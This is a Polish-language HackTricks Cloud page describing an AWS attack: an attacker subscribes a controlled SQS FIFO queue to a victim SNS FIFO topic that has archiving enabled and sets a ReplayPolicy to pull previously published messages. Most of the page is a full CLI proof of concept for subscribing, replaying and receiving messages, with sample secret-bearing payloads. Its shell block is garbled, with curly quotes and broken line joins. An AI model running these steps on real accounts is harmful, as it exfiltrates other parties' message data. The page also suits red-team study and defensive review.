SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Wykorzystywanie archiwizacji wiadomości w Amazon SNS FIFO topic do odtworzenia i eksfiltracji wcześniej opublikowanych wiadomości do kontrolowanej przez atakującego kolejki Amazon SQS FIFO poprzez ustawienie ReplayPolicy subskrypcji.
- Usługa: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
- Wymagania: Topic musi mieć włączony ArchivePolicy (archiwizacja wiadomości). Atakujący może Subscribe do topicu i ustawić atrybuty na swojej subskrypcji. Atakujący kontroluje kolejkę SQS FIFO i umożliwia topicowi wysyłanie wiadomości.
- Skutek: Historyczne wiadomości (opublikowane przed subskrypcją) mogą zostać dostarczone do endpointu atakującego. Odtworzone dostawy są oznaczone jako Replayed=true w SNS envelope.
Warunki wstępne
- SNS FIFO topic z włączoną archiwizacją:
ArchivePolicy(np.{ "MessageRetentionPeriod": "2" }dla 2 dni). - Atakujący ma uprawnienia do:
sns:Subscribena docelowym topicu.sns:SetSubscriptionAttributesna utworzonej subskrypcji.- Atakujący posiada kolejkę SQS FIFO i może dołączyć politykę kolejki pozwalającą
sns:SendMessagez ARN topicu.
Minimalne uprawnienia IAM
- Na topicu:
sns:Subscribe. - Na subskrypcji:
sns:SetSubscriptionAttributes. - Na kolejce:
sqs:SetQueueAttributesdla polityki, oraz polityka kolejki pozwalającasns:SendMessagez ARN topicu.
Atak: Odtworzenie zarchiwizowanych wiadomości do atakującej kolejki SQS FIFO
Atakujący subskrybuje swoją kolejkę SQS FIFO do ofiary SNS FIFO topic, a następnie ustawia ReplayPolicy na znacznik czasu z przeszłości (w ramach okresu retencji archiwum). SNS natychmiast odtwarza pasujące zarchiwizowane wiadomości do nowej subskrypcji i oznacza je Replayed=true.
Uwagi:
- Znacznik czasu użyty w
ReplayPolicymusi być >=BeginningArchiveTimetopicu. Jeśli jest wcześniejszy, API zwracaInvalid StartingPoint value. - Dla SNS FIFO
Publishmusisz podaćMessageGroupId(oraz albo dedup ID, albo włączyćContentBasedDeduplication).
Pełny POC CLI (us-east-1)
```bash REGION=us-east-1 # Compute a starting point; adjust later to >= BeginningArchiveTime if needed TS_START=$(python3 - << 'PY' from datetime import datetime, timezone, timedelta print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ')) PY )1) Create SNS FIFO topic with archiving (2-day retention)
TOPIC_NAME=htreplay$(date +%s).fifo
TOPIC_ARN=$(aws sns create-topic –region “$REGION”
–cli-input-json ‘{“Name”:“’”$TOPIC_NAME“‘“,“Attributes”:{“FifoTopic”:“true”,“ContentBasedDeduplication”:“true”,“ArchivePolicy”:“{"MessageRetentionPeriod":"2"}”}}’
–query TopicArn –output text)
echo “Topic: $TOPIC_ARN”
2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
for i in $(seq 1 3); do
aws sns publish –region “$REGION” –topic-arn “$TOPIC_ARN”
–message “{"orderId":$i,"secret":"ssn-123-45-678$i"}”
–message-group-id g1 >/dev/null
done
3) Create attacker SQS FIFO queue and allow only this topic to send
Q_URL=$(aws sqs create-queue –queue-name ht-replay-exfil-q-$(date +%s).fifo
–attributes FifoQueue=true –region “$REGION” –query QueueUrl –output text)
Q_ARN=$(aws sqs get-queue-attributes –queue-url “$Q_URL” –region “$REGION”
–attribute-names QueueArn –query Attributes.QueueArn –output text)
cat > /tmp/ht-replay-sqs-policy.json <<JSON {“Version”:“2012-10-17”,“Statement”:[{“Sid”:“AllowSNSSend”,“Effect”:“Allow”,“Principal”:{“Service”:“sns.amazonaws.com”},“Action”:“sqs:SendMessage”,“Resource”:“$Q_ARN”,“Condition”:{“ArnEquals”:{“aws:SourceArn”:“$TOPIC_ARN”}}}]} JSON
Use CLI input JSON to avoid quoting issues
aws sqs set-queue-attributes –region “$REGION” –cli-input-json “$(python3 - << ‘PY’ import json, os print(json.dumps({ ‘QueueUrl’: os.environ[‘Q_URL’], ‘Attributes’: {‘Policy’: open(‘/tmp/ht-replay-sqs-policy.json’).read()} })) PY )”
4) Subscribe the queue to the topic
SUB_ARN=$(aws sns subscribe –region “$REGION” –topic-arn “$TOPIC_ARN”
–protocol sqs –notification-endpoint “$Q_ARN” –query SubscriptionArn –output text)
echo “Subscription: $SUB_ARN”
5) Ensure StartingPoint is >= BeginningArchiveTime
BEGIN=$(aws sns get-topic-attributes –region “$REGION” –topic-arn “$TOPIC_ARN” –query Attributes.BeginningArchiveTime –output text) START=${TS_START} if [ -n “$BEGIN” ]; then START=“$BEGIN”; fi
aws sns set-subscription-attributes –region “$REGION” –subscription-arn “$SUB_ARN”
–attribute-name ReplayPolicy
–attribute-value “{"PointType":"Timestamp","StartingPoint":"$START"}”
6) Receive replayed messages (note Replayed=true in the SNS envelope)
aws sqs receive-message –queue-url “$Q_URL” –region “$REGION”
–max-number-of-messages 10 –wait-time-seconds 10
–message-attribute-names All –attribute-names All
</details>
## Wpływ
**Potencjalny wpływ**: Atakujący, który może zasubskrybować SNS FIFO topic z włączonym archiwizowaniem i ustawić `ReplayPolicy` w swojej subskrypcji, może natychmiast odtworzyć i exfiltrate historyczne wiadomości opublikowane w tym topicu, nie tylko wiadomości wysłane po utworzeniu subskrypcji. Dostarczone wiadomości zawierają flagę `Replayed=true` w kopercie SNS.
> [!TIP]
> Ucz się & ćwicz AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Ucz się & ćwicz GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Ucz się & ćwicz Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Wspieraj HackTricks</summary>
>
> - Sprawdź [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Dołącz do** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) lub [**telegram group**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Podziel się hacking tricks, zgłaszając PRy do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

